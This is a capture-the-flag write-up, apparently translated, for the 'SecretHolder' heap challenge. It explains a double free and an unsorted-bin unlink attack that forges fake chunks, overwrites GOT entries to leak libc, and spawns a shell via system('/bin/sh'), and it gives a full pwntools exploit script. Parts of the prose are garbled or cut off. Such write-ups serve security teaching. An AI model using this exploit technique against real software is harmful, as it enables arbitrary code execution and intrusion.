secret_holder
This question is attached at https://pwn-1253291247.cos.ap-chengdu.myqcloud.com/SecretHolder , not available on the website
Get the attachment. Let's check the protection mechanism of the program
Then, let's use IDA to analyze
The pointer is not cleared after free, which can cause multiple times of free
The heap can be created many times, as long as we create it after free
So, this problem, we can use unsorted bin's unlink to attack
We first create a heap of Huges, then release the heap of Huges, then create a small heap, and then create a big heap
- #Apply for a big chunk
- new(3,'a'*0x100)
- delete(3)
- #Apply for a small chunk
- new(1,'b'*0x10)
- #Apply for a medium chunk
- new(2,'c'*0x100)
So, in memory, the layout of the three heaps is like this
Huge(free)
|
Next, we free Small and big. Then in large bin, there is the address of Huge, in fastbin, there is the address of Small. The big in unsorted bin is merged into the top block. Since the heap pointer remains, we can double free that big block. When we reapply the space of Huge, the content of Huge will be emptied due to the use of calloc, that is, the structure information of Small and big will be lost. We need to make double free for big, so we should not only fake chunk in the Small position, but also reconstruct the big structure, and forge a few fake chunks after big to bypass the inspection
- #Release chunk0 and chunk1
- delete(1)
- delete(2)
- #Construct fake chunk
- fake_chunk = p64(0) + p64(0x21)
- #fd,bk
- fake_chunk += p64(huge_secret-0x18) + p64(huge_secret-0x10)
- payload = fake_chunk.ljust(0x20,'\x00')
- #prev_size size
- payload += p64(0x20) + p64(0x90) + 'c'*0x80 #chunk2
- #prev_size size
- payload += p64(0x90) + p64(0x81) + 'd'*0x70 #chunk3
- #prev_size size
- payload += p64(0) + p64(0x81) #chunk4
- #Reapply the large chunk so that the allocated location is the same as the chu
- new(3,payload)
Now, the layout of the heap is like this
Huge(used)
|
If we free that Big again, Big will unlink with fake'u chunk1, while fake'u chunk3 and fake'u chunk4 are to bypass the boundary check. In this way, we point the pointer of the large heap to the heap array itself, and we can control the heap pointer freely. First, we change the get table of free to the plt address of puts, so that information can be disclosed when free.
To sum up, our exp script
#coding:utf8 from pwn import * from LibcSearcher import * sh = process('./SecretHolder') #sh = remote('111.198.29.45',58439) elf = ELF('./SecretHolder') #Address of the huge? Secret pointer huge_secret = 0x6020A8 bss_addr = 0x602090 free_got = elf.got['free'] puts_plt = elf.plt['puts'] read_got = elf.got['read'] def new(h_type,content): sh.sendlineafter('3. Renew secret','1') sh.sendlineafter('3. Huge secret',str(h_type)) sh.sendlineafter('Tell me your secret:',content) def delete(h_type): sh.sendlineafter('3. Renew secret','2') sh.sendlineafter('3. Huge secret',str(h_type)) def edit(h_type,content): sh.sendlineafter('3. Renew secret','3') sh.sendlineafter('3. Huge secret',str(h_type)) sh.sendafter('Tell me your secret:',content) #Apply for a big chunk new(3,'a'*0x100) delete(3) #Apply for a small chunk new(1,'b'*0x10) #Apply for a medium chunk new(2,'c'*0x100) #Release chunk0 and chunk1 delete(1) delete(2) #Construct fake chunk fake_chunk = p64(0) + p64(0x21) #fd,bk fake_chunk += p64(huge_secret-0x18) + p64(huge_secret-0x10) payload = fake_chunk.ljust(0x20,'\x00') #prev_size size payload += p64(0x20) + p64(0x90) + 'c'*0x80 #chunk2 #prev_size size payload += p64(0x90) + p64(0x81) + 'd'*0x70 #chunk3 #prev_size size payload += p64(0) + p64(0x81) #chunk4 #Reapply the large chunk so that the allocated location and chu new(3,payload) #unlink 3 this large bin delete(2) #Now, we can control three heap pointers freely. First, modify three heap pointers payload = p64(0) * 2 + p64(free_got) + p64(bss_addr) + p64(read_got) + p32(1)*3 edit(3,payload) #Modify free got table to put plt edit(2,p64(puts_plt)) #Disclose read address delete(1) sh.recvuntil('\n') read_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00')) libc = LibcSearcher('read',read_addr) libc_base = read_addr - libc.dump('read') system_addr = libc_base + libc.dump('system') binsh_addr = libc_base + libc.dump('str_bin_sh') print 'libc_base=',hex(read_addr) print 'system_addr=',hex(system_addr) #Modify the contents of free got table and point to system edit(2,p64(system_addr)) #Modify heap 1 pointer to / bin/sh string edit(3,p64(0) * 2 + p64(binsh_addr)) #system("/bin/sh") delete(2) sh.interactive()